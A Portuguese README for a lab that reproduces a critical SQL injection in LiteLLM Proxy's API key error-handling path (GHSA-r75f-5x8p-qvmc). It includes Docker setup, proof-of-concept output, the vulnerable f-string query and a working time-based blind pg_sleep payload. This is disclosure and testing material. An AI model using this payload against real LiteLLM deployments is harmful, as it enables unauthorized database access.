
Ambiente de reprodução para uma injeção SQL crítica na autenticação de chave de API do LiteLLM Proxy, com PoC cego baseado em tempo e configuração Docker para testes.
| Item | Detalhe |
|---|
| Aviso | GHSA-r75f-5x8p-qvmc |
| Tipo | Injeção SQL (CWE-89) |
| Gravidade | Crítica |
| Afetados | litellm >=1.81.16, <1.83.7 |
| Corrigido | litellm >=1.83.7 (commit 4dc416ee74) |
A injeção ocorre no caminho do callback de tratamento de erros, não no fluxo principal de autenticação. Quando um token sem o prefixo sk- é enviado, a asserção falha e o token bruto (sem hash) flui pela cadeia de callbacks de falha até uma consulta SQL que usa interpolação de f-string:
HTTP request: Authorization: Bearer <payload>
→ assert api_key.startswith("sk-") falha
→ _handle_authentication_error(api_key=TOKEN_BRUTO)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=TOKEN_BRUTO)
→ get_data(token=TOKEN_BRUTO, table_name="combined_view")
→ SQL: WHERE v.token = '{TOKEN_BRUTO}' ← INJEÇÃO
O caminho principal de autenticação com sk- não é explorável porque os tokens são submetidos a hash SHA256 antes de chegarem à consulta, produzindo apenas caracteres [0-9a-f].
docker compose up -d
Isso inicia o LiteLLM Proxy (v1.83.3-stable) com um backend PostgreSQL.
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pendente ║
║ Afetados: litellm >=1.81.16, <1.83.7 ║
║ Ataque: cego baseado em tempo via callback de tratamento de erros ║
╚═══════════════════════════════════════════════════════════╝
[*] Verificando alvo: http://localhost:4000
[+] Alvo ativo (status 200)
[*] Medindo linha de base (3 requisições)...
Média da linha de base: 0.022s
[*] Controle: token sem sk- sem pg_sleep...
Controle: 0.024s
=======================================================
Injeção SQL cega baseada em tempo (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Resposta: 5.018s
[+] VULNERÁVEL! pg_sleep(5) confirmado


A função pg_sleep() do PostgreSQL retorna void, que não pode aparecer em um contexto booleano (OR). O payload a envolve em uma subconsulta para evitar o erro de tipo:
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
Isso é injetado na consulta combined_view em litellm/proxy/utils.py:
# Código vulnerável (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← interpolação de f-string da entrada do usuário
"""